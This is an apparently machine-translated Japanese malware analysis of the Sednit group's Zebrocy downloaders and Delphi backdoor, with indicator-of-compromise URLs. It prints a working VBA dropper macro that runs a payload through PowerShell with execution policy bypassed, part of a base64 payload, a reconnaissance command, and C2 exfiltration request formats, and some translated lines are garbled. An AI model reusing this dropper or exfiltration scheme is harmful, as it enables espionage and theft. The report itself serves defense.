2015年の終わりごろに、このグループが新しいコンポーネント-Xagent(Sednitのメインバックドア)のブートローダーであるZebrocyをデプロイするのを見てきました。 Kaspersky Labは、2017年にAPTトレンドレポートでこのコンポーネントに初めて言及し、最近、それを説明する記事をリリースしました。
新しいコンポーネントは、 DelphiおよびAutoItで記述されたダウンローダーとバックドアで構成されるマルウェアのファミリーです。 SednitエコシステムでSeduploaderと同じ役割を果たします-攻撃の最初の段階でマルウェアとして使用されます。
アゼルバイジャン、ボスニアおよびヘルツェゴビナ、ジョージア、エジプト、ジンバブエ、イラン、カザフスタン、キルギスタン、韓国、ロシア、サウジアラビア、セルビア、タジキスタン、トルクメニスタン、トルコ、ウクライナ、ウルグアイ、スイスでゼブロシーの標的を観察しました。 外交官、大使館、外務省が目標です。
Zebrocyファミリーは3つのコンポーネントで構成されています。 展開順:Delphiのブートローダー、AutoItのブートローダー、Delphiのバックドア。 図1は、これらのコンポーネント間の関係を示しています。
この投稿では、このファミリと、以前のサイバースパイツールSeduploaderとの相互作用、およびDowndelphとの相違点と類似点について説明します。
図1. Sednitエコシステム
図1に、Sednitによる攻撃方法と積極的に使用されるマルウェアを示します。 Sednitエコシステムで最も一般的に使用される「エントリポイント」は、電子メールの添付ファイルです。 パロアルトネットワークスの研究者による最近のブログ投稿によると、DealersChoiceはまだ使用中です。 偵察フェーズの後、攻撃者が関心を持っているターゲットマシンにXagentとXtunnelが展開されます。
攻撃方法
攻撃の最初のコンポーネントは、電子メールを介してZebrocy経由で配信されます。 被害者は添付ファイル-Microsoft Office文書またはアーカイブを開きます。
悪意のあるドキュメント
Sednitが使用する悪意のあるドキュメントは、Visual Basic for Applications(VBA)、エクスプロイト、またはDynamic Data Exchange( DDE )を介して攻撃の最初の段階のコンポーネントをダウンロードします。
2017年の終わりに、Sednitグループは2つのキャンペーンを開始し、2つの異なる悪意のあるドキュメントの配布を開始しました。 最初は
Syria – New Russia provocations.doc
、2番目は
Note Letter Mary Christmas Card.doc
。
図2:Zebrocy Malicious Document
両方の悪意のあるドキュメントには、%TEMP%のランダムな名前のファイルを作成するVBAマクロが含まれています。 Malvari実行可能ファイルは復号化されてこのファイルに書き込まれ、PowerShellコマンドまたはScriptable Shell Objectsを使用して実行されます。
[...] Sub AutoClose() On Error Resume Next vAdd = "" For I = 1 To 8 vAdd = vAdd + Chr(97 + Rnd(20) * 25) Next vFileName = Environ("temp") & "\" + vAdd & ".e" + "x" & "e" SaveNew vFileName, UserForm1.Label1.Caption Application.Run "XYZ", vFileName, "WScript.Shell" End Sub Public Function XYZ(vF, vW) vStr = "powershell.exe -nop -Exec Bypass -Command Start-Process '" + vF + "';" Call CreateObject(vW).Run(vStr, 0) End Function [...] TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu [...]
Visual Basic関数と、シリア文書からの感染のbase64暗号化された最初のフェーズの例-New Russia provocations.doc
アーカイブ
一部のキャンペーンでは、マクロの代わりにアーカイブを使用して、攻撃の最初のフェーズのコンポーネントを配信しました。 おそらく、アーカイブは電子メールの添付ファイルとして配布されます。
Zebrocyファミリーの最初の段階の内容はすべて、犠牲者を欺くための文書(図3)を装ったアイコンと名前の付いた実行可能ファイルです。
図3. Word文書アイコン付きのファイルを使用したZebrocy感染の最初のフェーズ
Delphiのダウンローダー
DelphiのブートローダーはZebrocyファミリー攻撃の最初のフェーズですが、Sednitグループの一部のキャンペーンでは、ブートローダーなしでAutoItフェーズが直接開始されることがわかりました。 Delphiローダーのほとんどのバイナリは、Officeドキュメントアイコン、またはWindowsライブラリなどの他のアイコンを使用します 。これらのサンプルは、 UPXを使用してパッケージ化される場合があります 。 このステップの目標は非常に単純です-被害者のコンピューターから最大限の情報を取得することです。
マルウェアを起動すると、偽のエラーメッセージとダウンロードしたバイナリファイルの名前を示すウィンドウがポップアップ表示されます。 たとえば、ファイル名が
srsiymyw.exe
場合、名前
srsiymyw.doc
がポップアップウィンドウに表示されます(図4を参照)。 このウィンドウの目的は、コンピューター上で異常なことが起こっているとユーザーが思わないようにユーザーの注意をそらすことです。
図4. Delphiのブートローダーポップアップ
実際、ブートローダーは、%TEMP%のファイルをバイナリで記述された名前で作成するのに忙しくしています(ただし、この時点ではファイルは空です)。 永続性は、
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
のWindowsレジストリに、ハードコードされた名前のファイルへのパスを追加することで確保され
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
。
情報を収集するために、マルウェアはWindows APIのCreateProcess関数を使用し、
cmd.exe /c SYSTEMINFO & TASKLIST
の引数として
cmd.exe /c SYSTEMINFO & TASKLIST
を使用して新しいプロセスを作成します。 情報を受信した後、結果はHTTP POSTリクエストを介してコマンドサーバーに送信され、バイナリファイルにハードコードされます。 このアクションは、次の感染段階のソフトウェアが応答として受信されるまで繰り返されます。
POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat)?fort=<SerialNumber_C> HTTP/1.0 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: xxxx Host: <ip_address> Accept: text/html, */* Accept-Encoding: identity User-Agent: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 pol=MM/DD/YYYY%20HH:MM:SS%20(AM|PM)%0D%0A<DriveListing>%0D%0A%0D%0A<Path_to_the_binary>%0D%0A%0D%0A<SYSTEMINFO & TASKLIST output> [...]
DelphiでHTTP POSTブートローダーをリクエストする
要求が送信された後、コマンドサーバーは、標的が侵入者によって興味深いと推定された場合に、ソフトウェアを次の段階に転送します。 レポートを送信してからファイルを受信するまでのサイクルは数時間です。 次のステップは、以前に作成されたファイルに書き込まれ、実行されます。
AutoItダウンローダー
AutoItのブートローダーは、被害者のコンピューターに感染するプロセスのインテリジェンスフェーズの別のフェーズです。 さらに、この時点から、2つのシナリオが可能になります。最初のシナリオでは、Delphiのローダーが最初のステージで、AutoItの簡略化されたローダーが2番目のステージです。 別のシナリオでは、AutoItのローダーが最初の段階であり、Delphiローダーのすべての機能を備えています。
AutoItのローダーを最初のステップとして使用すると、多くのインテリジェンス機能が実行されます。 永続化メカニズムやポップアップウィンドウなど、Delphiブートローダーといくつかの類似点があったとしても、Delphiブートローダーに比べて偵察段階にモジュール性を追加します。 以下はその機能の部分的なリストです。
- サンドボックスモードと仮想環境の定義
- インストールされたソフトウェアのリストの取得(HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Uninstall経由)
- Windowsバージョンの検出(32ビットまたは64ビット)
- プロセスのリストを取得する
- ハードドライブ情報を取得する
- スクリーンショット
- このGitHubリポジトリのコードに触発されたWMIオブジェクトを使用して、被害者のコンピューターに関するさまざまな情報を取得する
前のステージによって、AutoItバイナリの名前は異なります。 マルウェアが最初の段階で導入された場合、それはドキュメントの名前に似ています。 それ以外の場合、バイナリには、表1に示すように、Delphiのブートローダーに登録されている名前が割り当てられます。
この段階の目標は、前の段階とほぼ同じです。 さまざまなバージョンがありますが、すべてに少なくとも以下を実行するコードがあります。
- ハードドライブCのシリアル番号の取得:
- ネットワーク関数のアプリケーション
winhttp.dll
またはwinhttp.au3
- コマンドサーバーによって送信されたコードの実行
Delphiブートローダーと同様に、AutoItのブートローダーにはポップアップウィンドウがあります。添付ファイルで受信した場合、つまり感染の最初の段階である場合。 ポップアップは、バイナリファイルのアイコンによって異なります。 たとえば、Adobe Readerドキュメントアイコンが付いたAutoItローダーは、表示のために開かれているPDFファイルが破損していることを被害者に伝えます。 Wordドキュメントアイコンが付いたAutoItバイナリファイルには、パスワードを入力するためのウィンドウが表示されます。 パスワードは考慮されません。これは、実際の悪意のあるコードアクティビティから被害者をそらす方法に過ぎないと考えています。
図5. AutoItのブートローダーポップアップ
Delphiバックドア
Delphiバックドアは、Zebrocyコンポーネントチェーンの最終段階です。 以前、ZebrocyがSednitのフラッグシップバックドア(Xagent)をダウンロードするのを見てきました。 以前のコンポーネントとは異なり、このコンポーネントには内部バージョン番号があり、特定のキャンペーンに関連していないようです。 表2に示すように、この数は時間とともに変化します。
バックドアのいくつかのバージョンを見逃している可能性があることに注意してください。 さらに、バージョンは重複しています-古いバージョンは新しいバージョンと同時に使用されます。
次に、このマルウェアの進化の過程で見たいくつかの違いについて説明します。 構成ブロックがバックドアに組み込まれています。 構成値はサンプルごとに異なりますが、構成可能な項目のリストは変更されていません。 ただし、Malvari構成データを保存する方法は、時間の経過とともに進化しています。
バックドアの最初のバージョンには、図6に示すように、構成データがプレーンテキストで含まれていました。
図6.プレーンテキストのDelphiバックドア構成データ
その後、後のバージョンでは、作成者は構成を16進数文字列としてエンコードしました(図7を参照)。
図7.暗号化されたDelphiバックドア構成情報
最近のバージョンでは、構成情報はAESアルゴリズムを使用してリソースで暗号化されます。 古いバージョンは.textセクションに保存されます 。
構成データには以下が含まれます。
- コマンドサーバーとの通信用のAESキー
- パターンごとに異なるURL
- マルウェアバージョン
- バックドアの永続性を提供するWindowsレジストリキー/値
- 一時ファイルが保存されているパス( %APPDATA% )
- 一時ファイルを保存するために作成された隠しディレクトリの名前:ディレクトリファイルの名前と環境変数は連結されます( %APPDATA% )
設定後、マルウェアはSetTimer Windows API関数を使用してコールバック関数を実行します。 コールバックにより、Malvariオペレーターは多くのツールとバックドアコマンドを利用できます。
- 被害者のデスクトップのスクリーンショットを撮る
- キーストローク傍受
- ドライブ/ネットワークリソースのリストを取得する
- Windowsレジストリへの書き込み/読み取り
- ファイルシステムオブジェクトのコピー/移動/削除
- ファイルの実行、または計画されたタスクの設定
バックドアが実行できるコマンドの数は約30あり、バージョンによって異なります。
コマンドサーバーと通信するために、バックドアはこれらの機能に関するレポートを一時ファイルに保存します。 次に、一時ファイルの内容を読み取り、転送します。 一時ファイルは、インストールプロセス中に作成された隠しディレクトリの1つに保存されます。
POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat). HTTP/1.0 Connection: keep-alive Content-Type: multipart/form-data; boundary=--------<mmddyyhhnnsszzz> Content-Length: <N> Host: <ip_address> Accept: text/html, */* Accept-Encoding: identity User-Agent: Mozilla/3.0 (compatible; Indy Library) ----------<mmddyyhhnnsszzz> Content-Disposition: form-data; name="userfile"; filename="%APPDATA%\Microsoft\<directories>\<tempfilename>.tmp" Content-Type: <tempfilename_hex_encoded>.tmp <tempfilename content> ----------<mmddyyhhnnsszzz>--
DelphiバックドアPOSTリクエスト
tempfilename
の内容は、実行可能なコマンドの出力です。 コンテンツは、AES-256-ECBアルゴリズムを使用して、構成データからの最初のAESキーを使用して暗号化され、結果は16進システムで書き込まれます。 コマンドサーバーに転送されるコンテンツはコマンドによって異なりますが、常にハードディスクのシリアル番号とコンピューター名の最初の4バイトが含まれています。
たとえば、
HELLO
は、コマンドサーバーとの接続を確立するためにバックドアから送信される最初のパケットに対応します。 以下に示すように、タスクの起動日、Delphiバックドアの内部バージョン番号、HDDのシリアル番号、コンピューター名(最初の4バイト)、コマンド、およびこのバックドアが使用された日付が含まれています。
Start: 1/4/2018 1:37:00 PM – [<vx.x>]:42424242ESET-HELLO-[2018-04-04 01-37-00]-315.TXT.
構成データの2番目のAESキーは、コマンドサーバーの応答を解読するために使用されます。
Seduploaderと同様に、このバックドアは、インテリジェンスフェーズの後にオペレーターに興味を持っている被害者のマシンにXagentを展開するために使用されます。
おわりに
Delphiでコンポーネントを記述することはSednitグループにとって新しいことではなく、彼らはすでにこの言語をDowndelphに使用しています。 ただし、最後のコンポーネントがDowndelphとは関係がない場合でも、言及する価値のある興味深い点があります。
- 展開方法は同じで、両方のコンポーネントが電子メールの添付ファイルとして実装されます
- 2015年9月にダウンデルフを最後に見たとき、その自然の生息地からの最初のZebrocy標本は2015年11月の日付です
- 両方ともDelphiで書かれています
Sednitグループが1つのコンポーネントを展開し、新しいコンポーネントの開発を開始したと想定できます。 グループ内で変わらない唯一のものは、特性エラーです。
- スケジュールされたタスク名:
Windiws
- AutoItのローダーでシステム情報を受け取る関数の名前:
_SOFWARE()
-
Note Letter Mary Christmas Card.doc
でMerry
代わりにMerry
DelphiバックドアがAES-256キーとして使用するバイト配列には、32バイトではなく38バイトが含まれています。これは、不注意によるエラーのように見えます。
過去2年間で、SednitグループによるZebrocyの積極的な使用を見てきました。 2017年以降定期的に表示される新しいバージョンの分析は、著者がZebrocyを積極的にサポートおよび改善していることを明確に示しています。 これは、Sednitの武器庫に常備されているフル機能のツールの1つであり、したがって細心の注意が必要であると想定できます。
侵害インジケータ(IoC)
悪意のあるドキュメント
Delphiのダウンローダー
AutoItダウンローダー
Delphiバックドア
URLアドレス
http://142[.]0.68.2/test-update-16-8852418/temp727612430/checkUpdate89732468.php
http://142[.]0.68.2/test-update-17-8752417/temp827612480/checkUpdate79832467.php
http://185[.]25.50.93/syshelp/kd8812u/protocol.php
http://185[.]25.50.93/tech99-04/litelib1/setwsdv4.php
http://185[.]25.50.93/techicalBS391-two/supptech18i/suppid.php
http://185[.]25.51.114/get-help-software/get-app-c/error-code-lookup.php
http://185[.]25.51.164/srv_upd_dest_two/destBB/en.php
http://185[.]25.51.198/get-data/searchId/get.php
http://185[.]25.51.198/stream-upd-service-two/definition/event.php
http://185[.]77.129.152/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://188[.]241.68.121/update/dB-Release/NewBaseCheck.php
http://194[.]187.249.126/database-update-centre/check-system-version/id=18862.php
http://194[.]187.249.126/security-services-DMHA-group/info-update-version/id77820082.php
http://213[.]103.67.193/ghflYvz/vmwWIdx/realui.php
http://213[.]252.244.219/client-update-info/version-id/version333.php
http://213[.]252.244.219/cumulative-security-update/Summary/details.php
http://213[.]252.245.132/search-release/Search-Version/crmclients.php
http://213[.]252.245.132/setting-the-os-release/Support-OS-release/ApiMap.php
http://220[.]158.216.127/search-sys-update-release/base-sync/db7749sc.php
http://222[.]15.23.121/gft_piyes/ndhfkuryhs09/fdfd_iunb_hhert_ps.php
http://46[.]102.152.127/messageID/get-data/SecurityID.php
http://46[.]183.223.227/services-check-update/security-certificate-11-554/CheckNow864.php
http://80[.]255.6.5/daily-update-certifaicates52735462534234/update-15.dat
http://80[.]255.6.5/LoG-statistic8397420934809/date-update9048353094c/StaticIpUpdateLog23741033.php
http://86[.]105.18.106/apps.update/DetailsID/clientPID-118253.php
http://86[.]105.18.106/data-extract/timermodule/update-client.php
http://86[.]105.18.106/debug-info/pluginId/CLISD1934.php
http://86[.]105.18.106/ram-data/managerId/REM1234.php
http://86[.]105.18.106/versionID/Plugin0899/debug-release01119/debug-19.app
http://86[.]105.18.111/UpdateCertificate33-33725cnm^BB/CheckerNow-saMbA-99-36^11/CheckerSerface^8830-11.php
http://86[.]106.131.177/srvSettings/conf4421i/support.php
http://86[.]106.131.177/SupportA91i/syshelpA774i/viewsupp.php
http://89[.]249.65.166/clientid-and-uniqued-r2/the-differenceU/Events76.php
http://89[.]249.65.166/int-release/check-user/userid.php
http://89[.]249.65.234/guard-service/Servers-ip4/upd-release/mdb4
http://89[.]40.181.126/verification-online/service.911-19/check-verification-88291.php
http://89[.]45.67.153/grenadLibS44-two/fIndToClose12t3/sol41.php
http://89[.]45.67.153/supportfsys/t863321i/func112SerErr.php
http://93[.]113.131.117/KB7735-9927/security-serv/opt.php
http://93[.]113.131.155/Verifica-El-Lanzamiento/Ayuda-Del-Sistema/obtenerId.php
http://93[.]115.38.132/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/EspTkzmH.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/OspRkzmG.php